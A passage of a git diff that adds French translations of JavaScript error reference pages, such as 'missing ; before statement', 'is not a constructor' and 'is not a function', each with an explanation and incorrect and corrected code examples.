+  - JavaScript
+  - Reference
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: Expected ';' (Edge)
+SyntaxError: missing ; before statement (Firefox)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("SyntaxError")}}.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Un point-virgule est absent quelque part. En JavaScript, <a href="/fr/docs/Web/JavaScript/Reference/Instructions">les instructions doivent se terminer par des points-virgules</a>. Certaines de ces instructions sont traitées par <a href="/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale#Insertion_automatique_de_points-virgules">l'insertion automatique de point-virgule (<em>ASI</em> pour <em>Automatic Semicolon Insertion)</em></a>, mais pour le code qui provoque l'erreur, un point-virgule est nécessaire afin que le moteur JavaScript puisse analyser le code source correctement.</p>
+
+<p>La plupart du temps, cette erreur est la conséquence d'une autre erreur : ne pas « fermer » les chaînes de caractères correctement ou utiliser <code>var</code> de façon incorrecte. Il peut également y avoir trop de parenthèses à un endroit. Lorsque cette erreur apparaît, faites attention à la syntaxe du code environnant.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Les_chaînes_laissées_ouvertes">Les chaînes laissées ouvertes</h3>
+
+<p>Cette erreur est parfois simplement provoquée par une chaîne dont les quotes ne sont pas échappées correctement ou qui ne sont pas correctement délimitées. Le moteur JavaScript s'attend donc à trouver la fin de la chaîne. Par exemple :</p>
+
+<pre class="brush: js example-bad">var toto = 'Ouvrir l'œil';
+// SyntaxError: missing ; before statement</pre>
+
+<p>Pour éviter cela, on pourra utiliser des doubles quotes ou échapper l'apostrophe :</p>
+
+<pre class="brush: js example-good">var toto = "Ouvrir l'œil";
+var toto = 'Ouvrir l\'œil';
+</pre>
+
+<h3 id="Déclarer_des_propriétés_avec_var">Déclarer des propriétés avec <code>var</code></h3>
+
+<p>On <strong>ne peut pas</strong> déclarer de propriétés sur un objet ou un tableau avec une déclaration <code>var</code>.</p>
+
+<pre class="brush: js example-bad">var obj = {};
+var obj.toto = "coucou"; // SyntaxError missing ; before statement
+
+var array = [];
+var array[0] = "monde"; // SyntaxError missing ; before statement
+</pre>
+
+<p>Pour éviter cela, on n'utilisera pas le mot-clé <code>var</code> qui est inutile dans ces cas :</p>
+
+<pre class="brush: js example-good">var obj = {};
+obj.toto = "coucou";
+
+var array = [];
+array[0] = "monde";
+</pre>
+
+<h3 id="Mauvais_mots-clés">Mauvais mots-clés</h3>
+
+<p>Il peut arriver, notamment lorsqu'on provient d'un autre langage de programmation, d'utiliser des mots-clés qui n'ont pas du tout le même sens en JavaScript :</p>
+
+<pre class="brush: js example-bad">def print(info){
+  console.log(info);
+}; // SyntaxError missing ; before statement</pre>
+
+<p>À la place de <code>def</code>, on utilisera le mot-clé <code>function</code> :</p>
+
+<pre class="brush: js example-good">function print(info){
+  console.log(info);
+};</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale#Insertion_automatique_de_points-virgules">L'insertion automatique de points-virgules</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Instructions">Les instructions JavaScript</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/more_arguments_needed/index.html b/files/fr/web/javascript/reference/erreurs/more_arguments_needed/index.html
new file mode 100644
index 0000000000..6c33234995
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/more_arguments_needed/index.html
@@ -0,0 +1,49 @@
+---
+title: 'TypeError: More arguments needed'
+slug: Web/JavaScript/Reference/Erreurs/More_arguments_needed
+tags:
+  - Erreurs
+  - JavaScript
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/More_arguments_needed
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: argument is not an Object and is not null (Edge)
+TypeError: Object.create requires at least 1 argument, but only 0 were passed
+TypeError: Object.setPrototypeOf requires at least 2 arguments, but only 0 were passed
+TypeError: Object.defineProperties requires at least 1 argument, but only 0 were passed
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("TypeError")}}.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Lors de l'appel de la fonction, il y a eu une erreur due au manque d'argument. La fonction doit recevoir plus de paramètres afin de pouvoir fonctionner.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>La méthode {{jsxref("Object.create()")}} nécessite au moins un argument et {{jsxref("Object.setPrototypeOf()")}} requiert deux paramètres :</p>
+
+<pre class="brush: js example-bad">var obj = Object.create();
+// TypeError: Object.create requires more than 0 arguments
+
+var obj = Object.setPrototypeOf({});
+// TypeError: Object.setPrototypeOf requires more than 1 argument
+</pre>
+
+<p>On peut corriger cet exemple en utilisant {{jsxref("null")}} comme prototype :</p>
+
+<pre class="brush: js example-good">var obj = Object.create(null);
+
+var obj = Object.setPrototypeOf({}, null);</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Fonctions">Les fonctions</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/negative_repetition_count/index.html b/files/fr/web/javascript/reference/erreurs/negative_repetition_count/index.html
new file mode 100644
index 0000000000..9ff58b2052
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/negative_repetition_count/index.html
@@ -0,0 +1,45 @@
+---
+title: 'RangeError: repeat count must be non-negative'
+slug: Web/JavaScript/Reference/Erreurs/Negative_repetition_count
+tags:
+  - Erreurs
+  - JavaScript
+  - RangeError
+translation_of: Web/JavaScript/Reference/Errors/Negative_repetition_count
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">RangeError: argument out of range (Edge)
+RangeError: repeat count must be non-negative (Firefox)
+RangeError: Invalid count value (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>La méthode {{jsxref("String.prototype.repeat()")}} a été utilisée avec un argument négatif. Or, cet argument doit être compris dans l'intervalle [0, +∞).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemples_invalides">Exemples invalides</h3>
+
+<pre class="brush: js example-bad">'abc'.repeat(-1); // RangeError </pre>
+
+<h3 id="Exemples_valides">Exemples valides</h3>
+
+<pre class="brush: js example-good">'abc'.repeat(0);    // ''
+'abc'.repeat(1);    // 'abc'
+'abc'.repeat(2);    // 'abcabc'
+'abc'.repeat(3.5);  // 'abcabcabc' (converti en entier)
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.repeat()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/no_non-null_object/index.html b/files/fr/web/javascript/reference/erreurs/no_non-null_object/index.html
new file mode 100644
index 0000000000..a2196fd757
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/no_non-null_object/index.html
@@ -0,0 +1,66 @@
+---
+title: 'TypeError: "x" is not a non-null object'
+slug: Web/JavaScript/Reference/Erreurs/No_non-null_object
+tags:
+  - Erreurs
+  - JavaScript
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/No_non-null_object
+---
+<div>{{JSSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: Invalid descriptor for property {x} (Edge)
+TypeError: "x" is not a non-null object (Firefox)
+TypeError: Property description must be an object: "x" (Chrome)
+TypeError: Invalid value used in weak set (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Un objet devrait être trouvé et n'est pas fourni. La valeur {{jsxref("null")}} n'est pas un objet et ne fonctionnera pas, il est nécessaire de fournir un véritable objet pour que le code en question fonctionne.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Absence_d'un_descripteur_de_propriété">Absence d'un descripteur de propriété</h3>
+
+<p>Lorsqu'on utilise des méthodes telles que {{jsxref("Object.create()")}}, {{jsxref("Object.defineProperty()")}} ou {{jsxref("Object.defineProperties()")}}, le paramètre optionnel de description des propriétés doit être un descripteur sous la forme d'un objet. Si la valeur fournie n'est pas un objet (mais par exemple un nombre), l'appel à la méthode déclenchera une erreur :</p>
+
+<pre class="brush: js example-bad">Object.defineProperty({}, 'cle', 1);
+// TypeError: 1 is not a non-null object
+
+Object.defineProperty({}, 'cle', null);
+// TypeError: null is not a non-null object
+</pre>
+
+<p>Un descripteur de propriété valide aura la structure suivante :</p>
+
+<pre class="brush: js example-good">Object.defineProperty({}, 'cle', { value: 'toto', writable: false });
+</pre>
+
+<h3 id="Les_clés_de_WeakMap_et_WeakSet_sont_des_objets">Les clés de <code>WeakMap</code> et <code>WeakSet</code> sont des objets</h3>
+
+<p>Les objets {{jsxref("WeakMap")}} et {{jsxref("WeakSet")}} utilisent des objets comme clé. On ne peut pas utiliser d'autres types de valeurs pour les clés de ces objets.</p>
+
+<pre class="brush: js example-bad">var ws = new WeakSet();
+ws.add('toto');
+// TypeError: "toto" is not a non-null object</pre>
+
+<p>À la place, on utilisera des objets :</p>
+
+<pre class="brush: js example-good">ws.add({toto: 'truc'});
+ws.add(window);
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.create()")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}, {{jsxref("Object.defineProperties()")}}</li>
+ <li>{{jsxref("WeakMap")}}, {{jsxref("WeakSet")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/no_properties/index.html b/files/fr/web/javascript/reference/erreurs/no_properties/index.html
new file mode 100644
index 0000000000..0edd868cab
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/no_properties/index.html
@@ -0,0 +1,42 @@
+---
+title: 'TypeError: "x" has no properties'
+slug: Web/JavaScript/Reference/Erreurs/No_properties
+tags:
+  - Erreurs
+  - JavaScript
+  - Reference
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/No_properties
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: Unable to get property {x} of undefined or null reference (Edge)
+TypeError: null has no properties (Firefox)
+TypeError: undefined has no properties (Firefox)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("TypeError")}}.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Les valeurs {{jsxref("null")}} et {{jsxref("undefined")}} n'ont aucunes propriétés auxquelles accéder.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js example-bad">null.toto;
+// TypeError: null has no properties
+
+undefined.truc;
+// TypeError: undefined has no properties
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("null")}}</li>
+ <li>{{jsxref("undefined")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/no_variable_name/index.html b/files/fr/web/javascript/reference/erreurs/no_variable_name/index.html
new file mode 100644
index 0000000000..db4e1103b3
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/no_variable_name/index.html
@@ -0,0 +1,83 @@
+---
+title: 'SyntaxError: missing variable name'
+slug: Web/JavaScript/Reference/Erreurs/No_variable_name
+tags:
+  - Erreurs
+  - JavaScript
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/No_variable_name
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: missing variable name (Firefox)
+SyntaxError: Unexpected token = (Chrome)</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Il manque un nom pour une variable. Cela est probablement dû à une erreur de syntaxe dans le code. Peut-être qu'une variable est placée au mauvais endroit ou peut-être qu'il manque un nom car on n'a pas trouvé de nom pertinent… (ce qui est souvent assez difficile).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Absence_d'un_nom_pour_une_variable">Absence d'un nom pour une variable</h3>
+
+<pre class="brush: js example-bad">var = "toto";
+</pre>
+
+<p>Il est souvent compliqué de trouver le bon nom pour une variable…</p>
+
+<pre class="brush: js example-good">var àDéfautDeMieux = "toto";</pre>
+
+<h3 id="Les_mots-clés_réservés_ne_peuvent_pas_être_utilisés_comme_noms_de_variables">Les mots-clés réservés ne peuvent pas être utilisés comme noms de variables</h3>
+
+<p>Quelques mots-clés sont <a href="/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale#Mots-clés">réservés</a> et ne peuvent pas être utilisés comme noms de variable :</p>
+
+<pre class="brush: js example-bad">var debugger = "zuuuuut";
+// SyntaxError: missing variable name
+</pre>
+
+<h3 id="Déclarer_plusieurs_variables">Déclarer plusieurs variables</h3>
+
+<p>Attention aux virgules lorsqu'on déclare plusieurs variables… Y a-t-il plus de virgules que nécessairee ? Une virgule est-elle utilisée à la place d'un point-virgule ?</p>
+
+<pre class="brush: js example-bad">var x, y = "toto",
+var x, = "toto"
+
+var un = document.getElementById('un'),
+var deux = document.getElementById('deux'),
+
+// SyntaxError: missing variable name
+</pre>
+
+<p>Voici une version corrigée :</p>
+
+<pre class="brush: js example-good">var x, y = "toto";
+var x = "toto";
+
+var un = document.getElementById('un');
+var deux = document.getElementById('deux');</pre>
+
+<h3 id="Tableaux">Tableaux</h3>
+
+<p>Pour former un littéral de tableau ({{jsxref("Array")}}), il est nécessaire d'ajouter des crochets autour des valeurs des éléments. Le fragment de code suivant ne fonctionnera pas :</p>
+
+<pre class="brush: js example-bad">var arr = 1,2,3,4,5;
+// SyntaxError: missing variable name
+</pre>
+
+<p>Voici la forme équivalente correcte :</p>
+
+<pre class="brush: js example-good">var arr = [1,2,3,4,5];</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="http://wiki.c2.com/?GoodVariableNames">Choisir de bons noms de variable (en anglais)</a></li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/var">var</a></code></li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Déclarations">Guide JavaScript : Les déclarations de variable</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/non_configurable_array_element/index.html b/files/fr/web/javascript/reference/erreurs/non_configurable_array_element/index.html
new file mode 100644
index 0000000000..91f387a7a9
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/non_configurable_array_element/index.html
@@ -0,0 +1,83 @@
+---
+title: 'TypeError: can''t delete non-configurable array element'
+slug: Web/JavaScript/Reference/Erreurs/Non_configurable_array_element
+tags:
+  - Erreur
+  - Erreurs
+  - JavaScript
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/Non_configurable_array_element
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: can't delete non-configurable array element (Firefox)
+TypeError: Cannot delete property '2' of [object Array] (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>On a voulu <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/length#Tronquer_un_tableau">raccourcir la longueur d'un tableau</a> mais l'un des éléments de ce tableau est <a href="/fr/docs/Web/JavaScript/Structures_de_données#Propriétés">non-configurable</a>. Lorsqu'on tronque un tableau, les éléments situés au-delà de la nouvelle longueur seront supprimés. Dans ce cas, c'est cette suppression qui n'a pas pu être effectuée.</p>
+
+<p>L'attribut <code>configurable</code> permet de contrôler si la propriété peut être supprimée d'un objet et si ses attributs (en dehors de <code>writable</code>) peuvent être modifiés.</p>
+
+<p>La plupart du temps, les propriétés d'un objet créé avec <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array#Syntaxe">un littéral de tableau</a> sont configurables. Toutefois, si on utilise {{jsxref("Object.defineProperty()")}} par exemple, la propriété n'est pas configurable par défaut.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Propriétés_non-configurables_créées_avec_Object.defineProperty">Propriétés non-configurables créées avec  <code>Object.defineProperty</code></h3>
+
+<p>Par défaut, la méthode {{jsxref("Object.defineProperty()")}} crée des propriétés non-configurables si on n'indique pas expressément le contraire :</p>
+
+<pre class="brush: js example-bad">var arr = [];
+Object.defineProperty(arr, 0, {value: 0});
+Object.defineProperty(arr, 1, {value: "1"});
+
+arr.length = 1;
+// TypeError: can't delete non-configurable array element
+</pre>
+
+<p>Si on veut tronquer le tableau, il faut que les éléments excédants soient configurables :</p>
+
+<pre class="brush: js example-good">var arr = [];
+Object.defineProperty(arr, 0, {value: 0, configurable: true});
+Object.defineProperty(arr, 1, {value: "1", configurable: true});
+
+arr.length = 1;
+</pre>
+
+<h3 id="Tableaux_scellés_(seal)">Tableaux scellés (<code>seal</code>)</h3>
+
+<p>La méthode {{jsxref("Object.seal()")}} permet de marquer l'ensemble des propriétés (ici les éléments du tableau) comme non-configurables :</p>
+
+<pre class="brush: js example-bad">var arr = [1,2,3];
+Object.seal(arr);
+
+arr.length = 1;
+// TypeError: can't delete non-configurable array element
+</pre>
+
+<p>Pour corriger l'erreur, il faut retirer l'appel à {{jsxref("Object.seal()")}} ou réaliser une copie du tableau. Dans ce dernier cas, on notera que tronquer la copie du tableau ne modifie pas la longueur du tableau original.</p>
+
+<pre class="brush: js example-good">var arr = [1,2,3];
+Object.seal(arr);
+
+// On copie le tableau initial pour tronquer cette copie
+var copie = Array.from(arr);
+copie.length = 1;
+// arr.length == 3
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Structures_de_données#Propriétés">La propriété interne <code>[[Configurable]]</code></a></li>
+ <li>{{jsxref("Array.length")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.seal()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/not_a_codepoint/index.html b/files/fr/web/javascript/reference/erreurs/not_a_codepoint/index.html
new file mode 100644
index 0000000000..be95fbb594
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/not_a_codepoint/index.html
@@ -0,0 +1,56 @@
+---
+title: 'RangeError: argument is not a valid code point'
+slug: Web/JavaScript/Reference/Erreurs/Not_a_codepoint
+tags:
+  - Erreurs
+  - JavaScript
+  - RangeError
+translation_of: Web/JavaScript/Reference/Errors/Not_a_codepoint
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">RangeError: Invalid code point {0} (Edge)
+RangeError: {0} is not a valid code point (Firefox)
+RangeError: Invalid code point {0} (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>La méthode {{jsxref("String.fromCodePoint()")}} a été utilisée mais elle n'accepte que les points de code valides (<em>code points</em>) et la valeur fournie en argument n'est pas un point de code valide (ex. <code>NaN</code>, <code>-1</code>).</p>
+
+<p>Un <a href="https://fr.wikipedia.org/wiki/Point_de_code">point de code</a> est une valeur de code Unicode et s'inscrit dans un intervalle allant de <code>0</code> à <code>0x10FFFF</code>.</p>
+
+<p>Les valeurs {{jsxref("NaN")}}, les entiers négatifs (<code>-1</code>), les flottants (<code>3.14</code>) ou les valeur supérieures à <code>0x10FFFF</code> (<code>1114111</code>) ne peuvent pas être utilisées avec cette méthode.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Exemples_invalides">Exemples invalides</h3>
+
+<pre class="brush: js example-bad">String.fromCodePoint('_');      // RangeError
+String.fromCodePoint(Infinity); // RangeError
+String.fromCodePoint(-1);       // RangeError
+String.fromCodePoint(3.14);     // RangeError
+String.fromCodePoint(3e-2);     // RangeError
+String.fromCodePoint(NaN);      // RangeError</pre>
+
+<h3 id="Exemples_valides">Exemples valides</h3>
+
+<pre class="brush: js example-good">String.fromCodePoint(42);       // "*"
+String.fromCodePoint(65, 90);   // "AZ"
+String.fromCodePoint(0x404);    // "\u0404"
+String.fromCodePoint(0x2F804);  // "\uD87E\uDC04"
+String.fromCodePoint(194564);   // "\uD87E\uDC04"
+String.fromCodePoint(0x1D306, 0x61, 0x1D307) // "\uD834\uDF06a\uD834\uDF07"
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.fromCodePoint()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/not_a_constructor/index.html b/files/fr/web/javascript/reference/erreurs/not_a_constructor/index.html
new file mode 100644
index 0000000000..639a2c1b41
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/not_a_constructor/index.html
@@ -0,0 +1,96 @@
+---
+title: 'TypeError: "x" is not a constructor'
+slug: Web/JavaScript/Reference/Erreurs/Not_a_constructor
+tags:
+  - Erreurs
+  - JavaScript
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/Not_a_constructor
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: Object doesn't support this action (Edge)
+TypeError: "x" is not a constructor
+
+TypeError: Math is not a constructor
+TypeError: JSON is not a constructor
+TypeError: Symbol is not a constructor
+TypeError: Reflect is not a constructor
+TypeError: Intl is not a constructor
+TypeError: SIMD is not a constructor
+TypeError: Atomics is not a constructor
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Une variable ou un objet a été utilisé comme un constructeur alors que cet objet ou cette variable n'est pas un constructeur. Pour plus d'informations sur les constructeurs, voir la page sur <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_new">l'opérateur <code>new</code></a>.</p>
+
+<p>De nombreux objets globaux tels que {{jsxref("String")}} ou {{jsxref("Array")}}, sont constructibles avec <code>new</code>. Cependant, d'autres objets globaux ne le sont pas (leurs propriétés et méthodes sont statiques). Les objets standards natifs suivants ne sont pas des constructeur : {{jsxref("Math")}}, {{jsxref("JSON")}}, {{jsxref("Symbol")}}, {{jsxref("Reflect")}}, {{jsxref("Intl")}}, {{jsxref("SIMD")}}, {{jsxref("Atomics")}}.</p>
+
+<p><a href="/fr/docs/Web/JavaScript/Reference/Instructions/function*">Les fonctions génératrices</a> ne peuvent pas non plus être utilisées comme des constructeurs.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemples_invalides">Exemples invalides</h3>
+
+<pre class="brush: js example-bad">var Voiture = 1;
+new Voiture();
+// TypeError: Voiture is not a constructor
+
+new Math();
+// TypeError: Math is not a constructor
+
+new Symbol();
+// TypeError: Symbol is not a constructor
+
+function* f() {};
+var obj = new f;
+// TypeError: f is not a constructor
+</pre>
+
+<h3 id="Créer_un_constructeur_voiture">Créer un constructeur <code>voiture</code></h3>
+
+<p>Imaginons qu'on veuille représenter des voitures sous forme d'objets. On appellera ce type <code>voiture</code> et on lui ajoutera des propriétés pour le fabricant, le modèle et l'année. Pour cela, on pourra écrire la fonction suivante :</p>
+
+<pre class="brush: js">function Voiture(fabriquant, modèle, année) {
+  this.fabriquant = fabriquant;
+  this.modèle = modèle;
+  this.année = année;
+}
+</pre>
+
+<p>On peut désormais créer un objet <code>maVoiture</code> comme ceci :</p>
+
+<pre class="brush: js">var maVoiture = new Voiture("Renault", "Twingo", 2006);</pre>
+
+<h3 id="Avec_les_promesses">Avec les promesses</h3>
+
+<p>Lorsqu'on renvoie une promesse immédiatement tenue ou rompue, il n'est pas nécessaire d'utiliser <code>new Promise()</code> pour la manipuler. Il faut plutôt utiliser les méthodes statiques {{jsxref("Promise.resolve()")}} ou {{jsxref("Promise.reject()")}} :</p>
+
+<pre class="brush: js example-bad">// Dans ce cas on aura une exception
+// "this is not a constructor"
+return new Promise.resolve(true);
+</pre>
+
+<pre class="brush: js">// Cette formulation fonctionne mais
+// est inutilement longue
+return new Promise((resolve, reject) =&gt; { resolve(true); });
+
+// On pourra autrement utiliser les
+// méthodes statiques
+return Promise.resolve(true);
+return Promise.reject(false);
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{Glossary("constructor")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_new">L'opérateur <code>new</code></a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/not_a_function/index.html b/files/fr/web/javascript/reference/erreurs/not_a_function/index.html
new file mode 100644
index 0000000000..1fcd81ecfe
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/not_a_function/index.html
@@ -0,0 +1,155 @@
+---
+title: 'TypeError: "x" is not a function'
+slug: Web/JavaScript/Reference/Erreurs/Not_a_function
+tags:
+  - Erreurs
+  - JavaScript
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/Not_a_function
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: Object doesn't support property or method {x} (Edge)
+TypeError: "x" is not a function
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("TypeError")}}.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Une valeur a été utilisée pour un appel de fonction alors que cette valeur n'est pas une fonction. Autrement dit, un fragment de code attendait une fonction mais a reçu des valeurs d'un autre type.</p>
+
+<p>Il est possible qu'il y ait une coquille dans le nom de la fonction. Peut être que l'objet sur lequel la méthode est invoquée ne possède pas cette fonction (par exemple, les objets <code>Array</code> possèdent une fonction <code>map()</code> mais d'autres objets ne l'ont pas).</p>
+
+<p>Il existe de nombreuses fonctions natives qui fonctionnent à l'aide d'une fonction (<em>callback</em>) passée en argument :</p>
+
+<ul>
+ <li>Pour les objets {{jsxref("Array")}} ou {{jsxref("TypedArray")}}, voici les fonctions qui utilisent une fonction en argument :
+  <ul>
+   <li>{{jsxref("Array.prototype.every()")}}, {{jsxref("Array.prototype.some()")}}, {{jsxref("Array.prototype.forEach()")}}, {{jsxref("Array.prototype.map()")}}, {{jsxref("Array.prototype.filter()")}},  {{jsxref("Array.prototype.reduce()")}}, {{jsxref("Array.prototype.reduceRight()")}}, {{jsxref("Array.prototype.find()")}}</li>
+  </ul>
+ </li>
+ <li>Pour les objets {{jsxref("Map")}} et {{jsxref("Set")}}, voici les méthodes concernées :
+  <ul>
+   <li>{{jsxref("Map.prototype.forEach()")}} and {{jsxref("Set.prototype.forEach()")}}</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Une_coquille_dans_le_nom_de_la_fonction">Une coquille dans le nom de la fonction</h3>
+
+<p>Dans ce cas, qui arrive bien trop souvent, il y a une faute d'orthographe dans le nom de la fonction utilisée :</p>
+
+<pre class="brush: js example-bad">var x = document.getElementByID("toto");
+// TypeError: document.getElementByID is not a function
+</pre>
+
+<p>Le nom de la fonction est (dans cet exemple) <code>getElementByI<strong>d</strong></code> (attention à la casse pour les noms en JavaScript) :</p>
+
+<pre class="brush: js example-good">var x = document.getElementById("toto");
+</pre>
+
+<h3 id="Appeler_une_fonction_sur_le_mauvais_objet">Appeler une fonction sur le mauvais objet</h3>
+
+<p>Certaines méthodes ne fonctionnent que pour certains types d'objet et utilisent une fonction en argument. Ainsi, dans cet exemple, on utilise {{jsxref("Array.prototype.map()")}} qui ne fonctionne que sur les objets {{jsxref("Array")}}.</p>
+
+<pre class="brush: js example-bad">var obj = { a: 13, b: 37, c: 42 };
+
+obj.map(function(num) {
+  return num * 2;
+});
+
+// TypeError: obj.map is not a function</pre>
+
+<p>Il faudra utiliser un tableau à la place :</p>
+
+<pre class="brush: js example-good">var nombres = [1, 4, 9];
+
+nombres.map(function(num) {
+  return num * 2;
+});
+
+// Array [ 2, 8, 18 ]
+</pre>
+
+<h3 id="Utiliser_le_même_nom_pour_une_méthode_et_une_propriété">Utiliser le même nom pour une méthode et une propriété</h3>
+
+<p>Lorsqu'on écrit une classe, on peut malheureusement utiliser le même nom pour une propriété et une méthode. Lorsqu'on appellera la fonction, celle-ci aura été remplacée par la propriété et cela déclenchera une erreur :</p>
+
+<pre class="brush: js example-bad">var Chien = function () {
+ this.age = 11;
+ this.couleur = "noir";
+ this.nom = "Ralph";
+ return this;
+}
+
+Chien.prototype.nom = function(nom) {
+ this.nom = nom;
+ return this;
+}
+
+
+var monNouveauChien = new Chien();
+monNouveauChien.nom("Cassidy"); // Uncaught TypeError: monNouveauChien.nom is not a function
+</pre>
+
+<p>Pour résoudre le problème, on utilisera deux noms distincts pour la propriété et la méthode :</p>
+
+<pre class="brush: js example-good">var Chien = function () {
+ this.age = 11;
+ this.couleur = "noir";
